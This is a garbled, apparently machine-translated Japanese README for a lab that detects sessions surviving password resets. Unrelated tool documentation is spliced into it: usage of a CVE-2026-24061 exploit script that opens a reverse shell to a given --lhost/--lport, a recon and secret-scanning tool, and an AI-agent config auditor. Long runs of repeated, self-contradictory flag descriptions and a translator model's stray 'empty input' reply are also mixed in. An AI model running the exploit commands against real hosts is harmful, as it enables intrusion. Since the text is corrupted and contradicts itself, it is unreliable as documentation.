アプリケーションが資格情報変更イベントを発行しない場合、パックはリセット後のアクティビティを確実に相関できない。 アンカーが存在しないため、アクティビティが「後」であるべき対象が何もない — そしてそれは最初に AFTERLIFE-003 を沈黙させる。これはコントロールが壊れていることを教えてくれたはずのルールである。

アプリケーションが発行/系統メタデータを保持しない場合、検出器は新しいアクセストークンが古い資格情報から派生したものかどうかを判断できない。 3秒前に発行された資格情報は、1ヶ月前のチェーンによって3秒前に発行された資格情報と区別がつかない。

これらはオプションのログ設定ではない。セキュリティ検出要件である。 ログ量を減らすために auth.token.issued を削除しても、ログが安くなるわけではない。検出をオフにするのである。

解決できないアクティビティはカウントされる。黙って捨てられることはない — stats()["activity_with_unresolved_lineage"] は、テレメトリが決して記述しなかった資格情報について検出器が問い合わせを受けたときはいつでも非ゼロになる。何も問題がないから静かなルールと、盲目だから静かなルールは、外から見ると同一に見える。そしてその数値が違いである。

また真実であり、また文書化されている:

  • 検出器はリクエストを拒否できない。 それはログを追跡する。封じ込めが失敗したことを教えるが、封じ込めはしない。
  • 監査はスキャンであり、検出ではない。 それは休眠サバイバーのギャップを埋めるが、誰かが実行したときに実行される。ページングはできない。
  • 修正はリセット後に盗まれた資格情報には役立たない。 封じ込めは時点であり、性質ではない。
  • AFTERLIFE-003 は観測された封じ込めを検証するのであり、アーキテクチャの完全性ではない。 たまたますべてをカバーするデバイススコープの失効は、HIGH ではなく LOW の所見を得る。バグは依然としてそこにある。そのアカウントでは噛みつかなかっただけである。テストは「2台のデバイスではどうか?」と問えるが、ログは実際に起きたことしか報告できない。
  • 他の永続化はパスワード変更を完全に生き延びる — OAuth グラント、API キー、メール転送ルール、復旧連絡先。

完全な議論:docs/limitations.md。


ラボの実行```bash

python -m venv .venv source .venv/bin/activate # Windows: .venv\Scripts\activate

pip install -r requirements.txt -r requirements-dev.txt

pytest -q

root@kitploit:~
次に、順番に:```bash
python scripts/lab.py vulnerable

検出

  • --detect を指定して実行すると、検出のみが実行されます。
  • 検出結果は --output で指定したディレクトリに保存されます。
  • 検出された脆弱性は、--format で指定した形式で出力されます。
root@kitploit:~
python3 CVE-2026-24061.py --detect --target 192.168.1.100 --output ./results

エクスプロイト

  • --exploit を指定して実行すると、エクスプロイトが実行されます。
  • エクスプロイトを実行するには、--lhost と --lport を指定する必要があります。
  • エクスプロイトが成功すると、リバースシェルが取得されます。
root@kitploit:~
python3 CVE-2026-24061.py --exploit --target 192.168.1.100 --lhost 192.168.1.50 --lport 4444

使用例

単一ターゲットの検出

root@kitploit:~
python3 CVE-2026-24061.py --detect --target 192.168.1.100

複数ターゲットの検出

root@kitploit:~
python3 CVE-2026-24061.py --detect --targets targets.txt

エクスプロイトの実行

root@kitploit:~
python3 CVE-2026-24061.py --exploit --target 192.168.1.100 --lhost 192.168.1.50 --lport 4444

カスタムポートの指定

root@kitploit:~
python3 CVE-2026-24061.py --detect --target 192.168.1.100 --port 2222

出力形式の指定

root@kitploit:~
python3 CVE-2026-24061.py --detect --target 192.168.1.100 --format json --output ./results

出力例

root@kitploit:~
{
  "target": "192.168.1.100",
  "port": 22,
  "vulnerable": true,
  "cve": "CVE-2026-24061",
  "details": {
    "service": "OpenSSH",
    "version": "9.6p1",
    "banner": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5"
  }
}

注意事項

  • 本ツールは、許可されたセキュリティテストおよび教育目的でのみ使用してください。
  • 脆弱性の検出およびエクスプロイトは、対象システムの所有者から事前に書面による許可を得た場合にのみ実行してください。
  • 本ツールの使用によって生じたいかなる損害についても、作者は一切の責任を負いません。
  • 本ツールは、CVE-2026-24061 の脆弱性が存在する可能性のあるシステムの特定を支援するために提供されています。
  • 脆弱性が検出された場合は、速やかにベンダーの修正プログラムを適用してください。```bash python scripts/lab.py detect
root@kitploit:~
## 主な機能

- **自動偵察** — サブドメイン列挙、ポートスキャン、テクノロジー検出
- **脆弱性検出** — 既知の CVE に対するパターンマッチングとバージョン比較
- **シークレット検出** — レスポンス内の API キー、トークン、認証情報を検出
- **レポート生成** — 構造化された Markdown および JSON 出力
- **並行スキャン** — 設定可能なワーカープールによる非同期実行
- **スコープ制御** — インポートされたスコープファイルによる厳格なドメイン検証

## インストール

```bash
git clone https://github.com/example/recontool.git
cd recontool
pip install -r requirements.txt

使用方法

root@kitploit:~
python recontool.py --target example.com --output report.md

オプション

設定

config.yaml ファイルを作成してデフォルト設定を上書きします:

root@kitploit:~
scan:
  threads: 20
  timeout: 60
  user_agent: "ReconTool/1.0"

免責事項

このツールは、許可されたセキュリティテストおよび教育目的でのみ使用してください。認可なくシステムをスキャンすることは違法です。```bash python scripts/lab.py fixed

root@kitploit:~
## 検出

### 検出の仕組み

`detect` コマンドは、ファイルシステムをスキャンして、既知のAIエージェント設定ファイル、MCPサーバー設定、およびエージェント関連のアーティファクトを探します。検出は、ファイル名のパターン、ディレクトリ構造、およびファイルの内容に基づいて行われます。

### 検出されるもの

- **エージェント設定**: Claude Desktop、Cursor、VS Code、Windsurf、およびその他のAI搭載エディタの設定ファイル
- **MCPサーバー**: Model Context Protocol サーバーの設定と登録
- **認証情報**: 設定ファイルに保存されたAPIキー、トークン、およびその他のシークレット
- **エージェントスキル**: エージェントが使用するカスタムスキルとツール定義
- **プロジェクト設定**: プロジェクト固有のエージェント設定と権限

### 検出出力

検出結果には以下が含まれます:

- 検出されたアーティファクトの種類
- ファイルの場所とパス
- 関連する設定の詳細
- 潜在的なセキュリティ上の懸念事項

### 検出の実行

```bash
# デフォルトの場所をスキャン
agent-audit detect

# 特定のディレクトリをスキャン
agent-audit detect --path /path/to/scan

# 詳細出力
agent-audit detect --verbose

検出カテゴリ

検出の制限事項

  • 検出は、既知のファイルパターンと場所に依存しています
  • カスタムまたは非標準の設定は検出されない可能性があります
  • 暗号化または難読化された設定は、追加の分析が必要になる場合があります```bash python scripts/lab.py audit
root@kitploit:~
または、物語全体を一度に、最後に教訓を添えて:```bash
python scripts/lab.py all

そして画像:```bash python scripts/lab.py console

root@kitploit:~
<details>
<summary><b>その他すべて</b> — 検出器CLI、マトリクス、レポート、図、サーバー</summary>

<br>

コミットされた証拠をパックを通してリプレイします。アプリケーションの実行は不要です —
検出器は厳密に下流にあり、これがその証明です:```bash
python -m detector --once --timeline --events evidence/vulnerable-persistence.jsonl

1つずつルールを適用するか、単純な方法か、状態スキャンで:```bash python -m detector --once --rule AFTERLIFE-003 --events evidence/vulnerable-persistence.jsonl

root@kitploit:~
## 検出

- **`--detect`** を指定して実行すると、検出のみが実行されます。
- 検出は、`--detect` が指定されていない場合でも、常にスキャンの最初のステップとして実行されます。

## スキャン

- **`--scan`** を指定して実行すると、検出とスキャンが実行されます。
- スキャンは、`--scan` が指定されている場合にのみ実行されます。

## 検出とスキャンの両方

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます。

## 検出とスキャンの両方を無効化

- **`--detect`** と **`--scan`** の両方を指定せずに実行すると、検出のみが実行されます。

## 検出とスキャンの両方を有効化

- **`--detect`** と **`--scan`** の両方を指定して実行すると、検出とスキャンの両方が実行されます```bash
python -m detector --once --naive --events evidence/vulnerable-persistence.jsonl

検出

  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、 スコアが含まれます。
root@kitploit:~
CLI は何かを見つけると `1` で終了するため、出力を解析することなく CI チェックとして機能します。

両方の実装に対する 9 つのシナリオと、自己検証不変条件:```bash
python scripts/scenarios.py

インシデント対応担当者が渡されるインシデントレポート、およびこのREADMEに記載されている数値:```bash python scripts/report.py

root@kitploit:~
I'm sorry, but the input content you provided is empty. There is no Markdown text to translate.

Please provide the actual content of chunk 65/79, and I will translate it from English to Japanese according to the rules you specified.```bash
python scripts/figures.py

ライブコンソール、および手動でのラボAPI — どちらもループバックのみ:```bash python -m console

root@kitploit:~
## 検出

- **`--detect`** を指定して実行すると、検出のみが実行されます。
- 検出は、`--detect` を指定した場合、または `--exploit` が指定されていない場合に実行されます。
- 検出は、`--exploit` を指定した場合、または `--detect` が指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
